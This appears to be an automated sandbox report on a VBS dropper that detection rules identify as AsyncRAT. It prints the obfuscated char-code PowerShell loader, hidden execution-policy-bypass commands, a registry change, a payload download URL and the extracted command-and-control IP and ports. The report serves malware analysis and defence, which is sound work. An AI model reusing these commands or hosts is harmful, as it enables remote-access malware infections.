Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\H#0813-186765.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\H#0813-186765.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\H#0813-186765.vbs", ProcessId: 572, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1" , CommandLine: Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1" , CommandLine|base64offset|contains: >^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1" , ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 572, ParentProcessName: cmd.exe, ProcessCommandLine: Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1" , ProcessId: 4036, ProcessName: powershell.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4844, TargetFilename: C:\ProgramData\Cloud\cloud.vbs

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\H#0813-186765.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\H#0813-186765.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\H#0813-186765.vbs", ProcessId: 572, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $var1 = $([char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x52)+[char]([byte]0x65)+[char]([byte]0x66)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x2e)+[char]([byte]0x41)+[char]([byte]0x73)+[char]([byte]0x73)+[char]([byte]0x65)+[char]([byte]0x6d)+[char]([byte]0x62)+[char]([byte]0x6c)+[char]([byte]0x79)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x6c)+[char]([byte]0x6f)+[char]([byte]0x61)+[char]([byte]0x64)+[char]([byte]0x77)+[char]([byte]0x69)+[char]([byte]0x74)+[char]([byte]0x68)+[char]([byte]0x50)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x4e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x22)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x22)+[char]([byte]0x29)+[char]([byte]0x20)+[char]([byte]0x7c)+[char]([byte]0x20)+[char]([byte]0x4f)+[char]([byte]0x75)+[char]([byte]0x74)+[char]([byte]0x2d)+[char]([byte]0x4e)+[char]([byte]0x75)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x73)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x65)+[char]([byte]0x70)+[char]([byte]0x20)+[char]([byte]0x2d)+[char]([byte]0x73)+[char]([byte]0x20)+[char]([byte]0x34)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x20)+[char]([byte]0x24)+[char]([byte]0x76)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x20)+[char]([byte]0x3d)+[char]([byte]0x20)+[char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x2e)+[char]([byte]0x49)+[char]([byte]0x6e)+[char]([byte]0x74)+[char]([byte]0x65)+[char]([byte]0x72)+[char]([byte]0x61)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x43)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x62)+[char]([byte]0x79)+[char]([byte]0x6e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x28)+[char]([byte]0x4e)+[char]([byte]0x65)+[char]([

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4844, TargetFilename: C:\ProgramData\Cloud\cloud.ps1

Suricata Signatures

ET MALWARE Generic AsyncRAT Style SSL Cert

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-12T16:39:46.168446+0200	2035595	1	Domain Observed Used for C2 Detected	88.119.175.153	9999	192.168.2.5	53510	TCP

ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-12T16:39:46.168446+0200	2035607	1	Domain Observed Used for C2 Detected	88.119.175.153	9999	192.168.2.5	53510	TCP

ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-12T16:39:46.168446+0200	2842478	1	Malware Command and Control Activity Detected	88.119.175.153	9999	192.168.2.5	53510	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0000000D.00000002.3418123386.0000000003431000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: AsyncRAT {"Server": "88.119.175.153", "Port": "6606,7707,8808,6666,5555,7777,8888,4444,9999", "Version": "AWS | 3Losh", "MutexName": "AsyncMutex_Ass#$Butt$", "Autorun": "false", "Group": "true"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: unknown

HTTPS traffic detected: 122.201.127.73:443 -> 192.168.2.5:49720 version: TLS 1.2

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2842478 - Severity 1 - ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s) : 88.119.175.153:9999 -> 192.168.2.5:53510
Source: Network traffic	Suricata IDS: 2030673 - Severity 1 - ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server) : 88.119.175.153:9999 -> 192.168.2.5:53510
Source: Network traffic	Suricata IDS: 2035595 - Severity 1 - ET MALWARE Generic AsyncRAT Style SSL Cert : 88.119.175.153:9999 -> 192.168.2.5:53510
Source: Network traffic	Suricata IDS: 2035607 - Severity 1 - ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server) : 88.119.175.153:9999 -> 192.168.2.5:53510

Yara detected Generic Downloader

Source: Yara match	File source: 22.2.RegSvcs.exe.5190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.3400152760.0000000005190000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Source: global traffic

TCP traffic: 192.168.2.5:53510 -> 88.119.175.153:9999

Source: global traffic

HTTP traffic detected: GET /redro/sasa.gif HTTP/1.1Host: varietydirectoutlet.comConnection: Keep-Alive

Source: Joe Sandbox View

ASN Name: IST-ASLT IST-ASLT

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153
Source: unknown	TCP traffic detected without corresponding DNS query: 88.119.175.153

Source: global traffic

HTTP traffic detected: GET /redro/sasa.gif HTTP/1.1Host: varietydirectoutlet.comConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: varietydirectoutlet.com

Source: RegSvcs.exe, 0000000D.00000002.3429100433.0000000005A50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: RegSvcs.exe, 0000000D.00000002.3429100433.0000000005A50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: powershell.exe, 00000002.00000002.2355212924.000001CC10071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.2332057213.000001CC00227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2332057213.000001CC0043D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000002.00000002.2332057213.000001CC00001000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.3418123386.0000000003431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.2332057213.000001CC0043D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000002.00000002.2332057213.000001CC00227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.2371780956.000001CC6F208000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.coyZ
Source: powershell.exe, 00000002.00000002.2332057213.000001CC00001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000002.00000002.2332057213.000001CC0043D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000002.00000002.2355212924.000001CC10071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2355212924.000001CC10071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2355212924.000001CC10071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.2332057213.000001CC00227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.2373810622.000001CC6F316000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000002.00000002.2373810622.000001CC6F316000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.micro/fwlink/?LinkId=
Source: powershell.exe, 00000002.00000002.2355212924.000001CC10071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000002.00000002.2332057213.000001CC00227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://varietydirectoutlet.com
Source: powershell.exe, 00000002.00000002.2332057213.000001CC00227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://varietydirectoutlet.com/redro/sasa.gif

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443

Source: unknown

HTTPS traffic detected: 122.201.127.73:443 -> 192.168.2.5:49720 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: 0000000D.00000002.3418123386.0000000003431000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.3391172871.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1524, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6100, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000016.00000002.3400803278.0000000005286000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000D.00000002.3429100433.0000000005B28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000016.00000002.3383370741.0000000000B70000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000000D.00000002.3418123386.0000000003431000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 0000000D.00000002.3418123386.0000000003431000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000D.00000002.3429100433.0000000005A50000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000016.00000002.3391172871.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: RegSvcs.exe PID: 1524, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: RegSvcs.exe PID: 1524, type: MEMORYSTR	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: RegSvcs.exe PID: 6100, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: RegSvcs.exe PID: 6100, type: MEMORYSTR	Matched rule: Detects AsyncRAT Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $var1 = $([char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x52)+[char]([byte]0x65)+[char]([byte]0x66)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x2e)+[char]([byte]0x41)+[char]([byte]0x73)+[char]([byte]0x73)+[char]([byte]0x65)+[char]([byte]0x6d)+[char]([byte]0x62)+[char]([byte]0x6c)+[char]([byte]0x79)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x6c)+[char]([byte]0x6f)+[char]([byte]0x61)+[char]([byte]0x64)+[char]([byte]0x77)+[char]([byte]0x69)+[char]([byte]0x74)+[char]([byte]0x68)+[char]([byte]0x50)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x4e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x22)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x22)+[char]([byte]0x29)+[char]([byte]0x20)+[char]([byte]0x7c)+[char]([byte]0x20)+[char]([byte]0x4f)+[char]([byte]0x75)+[char]([byte]0x74)+[char]([byte]0x2d)+[char]([byte]0x4e)+[char]([byte]0x75)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x73)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x65)+[char]([byte]0x70)+[char]([byte]0x20)+[char]([byte]0x2d)+[char]([byte]0x73)+[char]([byte]0x20)+[char]([byte]0x34)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x20)+[char]([byte]0x24)+[char]([byte]0x76)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x20)+[char]([byte]0x3d)+[char]([byte]0x20)+[char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x2e)+[char]([byte]0x49)+[char]([byte]0x6e)+[char]([byte]0x74)+[char]([byte]0x65)+[char]([byte]0x72)+[char]([byte]0x61)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x43)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x62)+[char]([byte]0x79)+[char]([byte]0x6e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x28)+[c
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\ProgramData\Cloud\cloud.bat
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\ProgramData\Cloud\cloud.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $var1 = $([char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x52)+[char]([byte]0x65)+[char]([byte]0x66)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x2e)+[char]([byte]0x41)+[char]([byte]0x73)+[char]([byte]0x73)+[char]([byte]0x65)+[char]([byte]0x6d)+[char]([byte]0x62)+[char]([byte]0x6c)+[char]([byte]0x79)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x6c)+[char]([byte]0x6f)+[char]([byte]0x61)+[char]([byte]0x64)+[char]([byte]0x77)+[char]([byte]0x69)+[char]([byte]0x74)+[char]([byte]0x68)+[char]([byte]0x50)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x4e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x22)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x22)+[char]([byte]0x29)+[char]([byte]0x20)+[char]([byte]0x7c)+[char]([byte]0x20)+[char]([byte]0x4f)+[char]([byte]0x75)+[char]([byte]0x74)+[char]([byte]0x2d)+[char]([byte]0x4e)+[char]([byte]0x75)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x73)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x65)+[char]([byte]0x70)+[char]([byte]0x20)+[char]([byte]0x2d)+[char]([byte]0x73)+[char]([byte]0x20)+[char]([byte]0x34)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x20)+[char]([byte]0x24)+[char]([byte]0x76)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x20)+[char]([byte]0x3d)+[char]([byte]0x20)+[char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x2e)+[char]([byte]0x49)+[char]([byte]0x6e)+[char]([byte]0x74)+[char]([byte]0x65)+[char]([byte]0x72)+[char]([byte]0x61)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x43)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x62)+[char]([byte]0x79)+[char]([byte]0x6e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x28)+[c	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\ProgramData\Cloud\cloud.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\ProgramData\Cloud\cloud.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848FD2CA9		2_2_00007FF848FD2CA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 22_2_00B83520		22_2_00B83520

Source: H#0813-186765.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 6223
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 6223			Jump to behavior

Source: dump.pcap, type: PCAP	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
